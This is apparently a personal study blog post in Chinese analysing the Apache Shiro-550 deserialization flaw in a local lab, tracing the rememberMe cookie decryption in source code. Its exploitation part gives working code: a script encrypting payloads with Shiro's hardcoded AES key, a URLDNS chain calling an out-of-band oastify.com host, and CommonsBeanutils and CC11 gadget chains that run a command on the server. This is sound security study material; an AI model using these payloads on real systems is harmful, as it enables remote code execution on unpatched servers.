本文最后更新于 2026-02-10T16:28:38+08:00
学习文章:https://drun1baby.top/2022/07/10/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Shiro%E7%AF%8701-Shiro550%E6%B5%81%E7%A8%8B%E5%88%86%E6%9E%90/
前言
Shiro550漏洞的根本原因:使用固定 key 加密
影响版本:Shiro <= 1.2.4
环境搭建
- jdk8u65
- Tomcat8
- shiro 1.2.4
jdk8u65
在之前CC链的时候就搭好的:https://yschen20.github.io/2025/11/05/CC1%E9%93%BE%EF%BC%88TransformedMap%E7%89%88%EF%BC%89/#%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA
Tomcat8
下载地址:https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.81/bin/
可以直接下这个 apache-tomcat-8.5.81.exe 安装程序来安装

安装的时候到这里配置下端口和用户名密码

然后是JDK的地址

最后再换个安装路径就行了
访问本地的8080端口,服务正常运行的

想关闭或开启服务可以用下面的命令:
1 2 3 4
| net start Tomcat8
net stop Tomcat8
|
出现下面这种情况就是权限不足

以管理员身份运行就行

shiro 1.2.4
可以直接用 P 神的项目:https://github.com/phith0n/JavaThings/tree/master/shirodemo
下载到本地,用IDEA打开这个项目,直接选择打开文件夹,路径是 shirodemo 那个目录
然后是把刚才安装好的 Tomcat 服务添加进来



然后在项目结构里添加工件

不过 P 神的项目是弄好这个了的:


最后设置运行与调试

最后运行login.jsp文件就行了,访问:
1
| http://localhost:8080/shirodemo_war/login.jsp
|

环境就配好了
Shiro550漏洞分析
漏洞原理
用bp抓登录包,勾选上 Remember me

如果登录成功的话,在响应包中的 Set-Cookie 里会有rememberMe=deleteMe;和rememberMe=[一大串字符]

之后的所有请求都会带有rememberMe字段

可以利用这个rememberMe进行反序列化,从而 getshell
Shiro1.2.4 及之前的版本中,AES 加密的密钥默认硬编码在代码里(Shiro-550)
Shiro 1.2.4 之后的版本官方移除了代码中的默认密钥,要求开发者自己设置,如果开发者没有设置,则默认动态生成,降低了固定密钥泄漏的风险。
漏洞分析
解密过程
Base64解密
去找 Cookie 里 rememberMe 的加密过程,在IDEA双击shift,在类里搜索Cookie,可以找到CookieRememberMeManager这个类

最终锁定到这个类的getRememberedSerializedIdentity():

分析一下这个函数:是protected属性,返回一个字节数组byte[](经过 base64 解码后的 rememberMeCookie 的原始值),传入的参数是 Shiro 的一个上下文对象,封装了与当前主题(用户)相关的所有信息

首先检查是不是 HTTP 请求,不是就返回null,如果是的话会检查是不是日志调试模式,是的话会记录一条日志说明原因

然后检查当前用户的身份是不是已经被标记为移除

然后是获取 HTTP 请求和响应对象,用于获取和写入 Cookie 吧

然后这里就是获取 Cookie 中,并且会判断 Cookie 中是否含有deleteme

最后是会对获取到的 rememberMe 值进行 base64 解码,最终返回解码后的字节数组decoded
base64 = ensurePadding(base64);是判断 Cookie 是否符合base64编码长度

getRememberedSerializedIdentity()这个方法的作用就是:去读取 Cookie rememberMe,拿到那串被加密和 base64 编码后的字符串,并将其还原为字节数组byte[]
逆向上去,找找哪里调用到getRememberedSerializedIdentity()这个方法,查找这个方法的用法,找不到可以点IDEA左边的那个m,下载一下源码

可以找到AbstractRememberMeManager.getRememberedPrincipals()方法


PrincipalCollection,是一个包含用户身份信息集合的一个类,刚开始principals的初始值为null

1
| byte[] bytes = getRememberedSerializedIdentity(subjectContext);
|
看 393 行这句代码会调用getRememberedSerializedIdentity()方法,获取 base64 解码后的 Cookie 并赋值给bytes
1
| principals = convertBytesToPrincipals(bytes, subjectContext);
|
然后再往下 396 行这句代码就会调用convertBytesToPrincipals()方法,并将bytes作为参数传进去
跟进看看convertBytesToPrincipals()方法:

很明显这个方法就做了两件事:
- 调用
decrypt()方法对传入的bytes进行解密
- 调用
deserialize()方法对解密后的bytes进行反序列化
decrypt()方法AES解密
先跟进decrypt()解密方法中:

1
| CipherService cipherService = getCipherService();
|
487 行这句代码就是调用getCipherService()方法,获取密钥服务,这里也就是获取负责处理 AES 算法的工具类
1
| ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
|
然后是 489 行,会调用到decrypt()和getDecryptionCipherKey()这俩方法
先看decrypt():

是一个接口,接收两个参数,第一个参数是加密的数组,第二个参数是解密的key
再回来 489 行看,传入的第一个参数就是加密的数组encrypted(也就是 base64 解码后的 Cookie ),第二个参数就是getDecryptionCipherKey()这个方法,说明它的返回值是解密的密钥key
跟进getDecryptionCipherKey()这个方法看看:

这个方法直接返回一个常量decryptionCipherKey,这个常量是一个字节数组

去找找哪里调用到了decryptionCipherKey:

有一个写入值的用法,是在setDecryptionCipherKey()方法中的

继续往上找哪里调用了setDecryptionCipherKey()这个方法:

在setCipherKey()方法中调用的,这个方法里会调用俩方法,一个加密一个解密,共用的同一个密钥:

继续往上找哪里调用了setCipherKey()这个方法:

在AbstractRememberMeManager()方法中:

1
| setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
|
在 109 行调用的,传入的DEFAULT_CIPHER_KEY_BYTES,这个参数名就很明显了,跟进看是一个常量,是一个固定的key:

一整条找key的思路如下,一层层往上找,最终找到固定的key:

所以 shiro 进行 Cookie 加密的 AES 算法的密钥是一个常量
deserialize()反序列化
再回到convertBytesToPrincipals()这里,还有一个deserialize方法,跟进去看一看:

deserialize方法传入的参数是已经解密好的二进制字节数组
1
| return getSerializer().deserialize(serializedIdentity);
|
getSerializer():获取 Shiro 配置的序列化器,默认使用的是 DefaultSerializer,其底层就是 Java 标准的 ObjectInputStream 逻辑
跟进deserialize()方法看看:

是一个接口,看看deserialize()的实现方法有哪些,ctrl+alt+B


在 shiro 包里的DefaultSerializer.deserialize()方法里调用了readObject方法,所以这里就是反序列化的入口
加密过程
打断点进行调试,在AbstractRememberMeManager.onSuccessfulLogin()开始打断点

然后直接调试
这里调试之前服务应该是要没有启动运行的

运行起服务后用bp抓登录包,输入正确的 Username 和 Password

放到Repeater里发包就可以断到这里了

开始是一堆判断是不是 HTTP 的,直接在下面再加个断点

F9恢复到断点的地方

这里就是进入到isRememberMe()方法里,判断有没有RememberMe字段,如果有就继续调用rememberIdentity()方法

先进入getIdentityToRemember()

一连串调用来保存用户名的



回到rememberIdentity(),继续跟进rememberIdentity(subject, principals);

里面调用的convertPrincipalsToBytes()方法

和之前解密时候的convertBytesToPrincipals()方法是相反的
这里是先serialize()序列化,然后encrypt()进行加密

贴一下前面convertBytesToPrincipals()方法对比一下
前面的是先decrypt()解密,然后deserialize()反序列化

serialize()序列化
先跟进serialize()看看序列化方法

继续跟进getSerializer().serialize(),可以找到oos.wirteObject(o);这句,就是进行序列化的

encrypt()方法AES加密
然后往下来看encrypt()加密方法

和前面解密的样子差不多,这里改成了encrypt()和getEncryptionCipherKey()

跟进getEncryptionCipherKey()方法,顾名思义就是和获取加密的key有关的

跟进这个方法,是return返回一个常量encryptionCipherKey,就是加密的密钥

和前面解密一样去找它的用法,具体的流程也差不多,不过是换了方法名

可以找到有个写入值的用法,在AbstractRememberMeManager.setEncryptionCipherKey()
继续找哪里调用的setEncryptionCipherKey()

可以找到setCipherKey这个方法,之前的解密也是找到的这里,上面加密的,下面解密的

再往前就是找到AbstractRememberMeManager()方法

这里传给setCipherKey的值就是DEFAULT_CIPHER_KEY_BYTES

也就是这个固定值密钥

然后回头再跟进看看encrypt()方法

传入的分别是要加密的明文数据和密钥,然后经过 AES 加密后返回加密后的数据


Base64加密
继续往下又回到了rememberIdentity()这里,继续进入到rememberSerializedIdentity()方法中

rememberSerializedIdentity()中会先检查 Subject 是否来自 HTTP 请求,如果是的话就会对加密好的数据进行base64编码,最终存储到 Cookie 中

以上就是加密的所有过程了
Shiro550漏洞利用
漏洞利用的思路:
- 既然 RCE,或者说弹 shell,是在反序列化的时候触发的。
那我们的攻击就应该是将反序列化的东西,进行 shiro 的一系列加密操作,再把最后的那串东西替换包中的 RememberMe 字段的值
加密脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
|
import base64 import uuid from Crypto.Cipher import AES
def get_file_data(filename): with open(filename, 'rb') as f: data = f.read() return data
def aes_enc(data): BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data))) return ciphertext
def aes_dec(enc_data): enc_data = base64.b64decode(enc_data) unpad = lambda s: s[:-s[-1]] key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = enc_data[:16] encryptor = AES.new(base64.b64decode(key), mode, iv) plaintext = encryptor.decrypt(enc_data[16:]) plaintext = unpad(plaintext) return plaintext
if __name__ == "__main__": data = get_file_data("ser.bin") print(aes_enc(data))
|
我自己也不会写,直接搬大佬文章里的了
我运行时候少个库,所以就把没用到的库删

URLDNS链
之前写好的,直接拿来用了
URLDNS链笔记:https://yschen20.github.io/2025/10/21/URLDNS%E9%93%BE/
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| import java.io.*; import java.lang.reflect.Field; import java.net.URL; import java.util.HashMap;
public class URLDNS { public static void serialize(Object o) throws Exception { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin")); objectOutputStream.writeObject(o); } public static Object unserialize(String file) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin")); Object oic = ois.readObject(); return oic; }
public static void main(String[] args) throws Exception{ HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>(); URL url = new URL("http://o1qhbnt17z1ru666mc2rs4n10s6jufi4.oastify.com"); Class c = url.getClass(); Field hashcodefield = c.getDeclaredField("hashCode"); hashcodefield.setAccessible(true); hashcodefield.set(url,123456); hashmap.put(url,1); hashcodefield.set(url,-1); serialize(hashmap);
} }
|
只要序列化就行,然后把生成的ser.bin文件放到 python 加密脚本的同目录下,然后运行

然后把 Cookie 里的 rememberMe 替换为这个,这里要删掉 JSESSIONID,因为当存在 JSESSIONID 时,会忽略 rememberMe

发包之后就可以 收到 DNS 请求了

CB链
CB链笔记:https://yschen20.github.io/2026/02/09/CB%E9%93%BE/
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.beanutils.BeanComparator;
import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue;
public class CB { public static void setField(Object obj,String fieldName,Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj,value); } public static void serialize(Object obj) throws Exception{ java.io.FileOutputStream fos = new java.io.FileOutputStream("ser.bin"); java.io.ObjectOutputStream oos = new java.io.ObjectOutputStream(fos); oos.writeObject(obj); oos.close(); } public static void unserialize(String Filename) throws Exception{ java.io.FileInputStream fis = new java.io.FileInputStream(Filename); java.io.ObjectInputStream ois = new java.io.ObjectInputStream(fis); ois.readObject(); ois.close(); }
public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); setField(templates, "_name", "CB"); byte[] code = Files.readAllBytes(Paths.get("src/main/java/Calc.class")); byte[][] codes = {code}; setField(templates, "_bytecodes",codes); setField(templates, "_tfactory",new TransformerFactoryImpl());
BeanComparator beanComparator = new BeanComparator(); setField(beanComparator,"property","outputProperties");
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2,beanComparator); setField(priorityQueue,"size",2); setField(priorityQueue,"queue",new Object[]{templates, templates});
serialize(priorityQueue);
} }
|
加载的恶意类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Calc extends AbstractTranslet { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e){ e.printStackTrace(); } }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} }
|
这里有个注意点,直接用之前的服务端会出现报错

1
| Caused by: java.io.InvalidClassException: org.apache.commons.beanutils.BeanComparator; local class incompatible: stream classdesc serialVersionUID = -2044202215314119608, local class serialVersionUID = -3490850999041592962
|
这是因为shiro中自带的是 CommonsBeanutils 的版本是 1.8.3

而之前的是1.9.2

如果两个不同版本的库使用了同一个类,而这两个类可能有一些方法和属性有了变化,此时在序列化通信的时候就可能因为不兼容导致出现隐患。因此,Java在反序列化的时候提供了一个机制,序列化时会根据固定算法计算出一个当前类的 serialVersionUID 值,写入数据流中;反序列化时,如果发现对方的环境中这个类计算出的 serialVersionUID 不同,则反序列化就会异常退出,避免后续的未知隐患
所以要改一下EXP环境的依赖,换成1.8.3的
1 2 3 4 5
| <dependency> <groupId>commons-beanutils</groupId> <artifactId>commons-beanutils</artifactId> <version>1.8.3</version> </dependency>
|

然后就是和前面的一样的操作,最终可以弹出计算器

CC11链(CC2+CC6)
CC11链笔记:https://yschen20.github.io/2026/02/10/CC11%E9%93%BE/
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map;
public class CC11 { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); setField(templates, "_name", "CC11"); byte[] code = Files.readAllBytes(Paths.get("src/main/java/Calc.class")); byte[][] codes = {code}; setField(templates, "_bytecodes",codes); setField(templates, "_tfactory",new TransformerFactoryImpl());
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{}); Map map = new HashMap(); LazyMap decorator = (LazyMap) LazyMap.decorate(map,invokerTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(decorator,templates);
HashMap<Object,Object> hashMap = new HashMap<>(); setField(tiedMapEntry,"map",new HashMap()); hashMap.put(tiedMapEntry,"123"); setField(tiedMapEntry,"map",decorator);
serialize(hashMap);
}
public static void setField(Object obj, String fieldName, Object value) throws Exception { java.lang.reflect.Field f = obj.getClass().getDeclaredField(fieldName); f.setAccessible(true); f.set(obj, value); } public static void serialize(Object obj) throws Exception{ java.io.FileOutputStream fos = new java.io.FileOutputStream("ser.bin"); java.io.ObjectOutputStream oos = new java.io.ObjectOutputStream(fos); oos.writeObject(obj); oos.close(); } public static Object unserialize(String filename) throws Exception{ java.io.FileInputStream fis = new java.io.FileInputStream(filename); java.io.ObjectInputStream ois = new java.io.ObjectInputStream(fis); Object obj = ois.readObject(); ois.close(); return obj; } }
|
注意点就是不能带数组,否则打不通,所以要用不带数组的CC11链来打

成功弹计算器
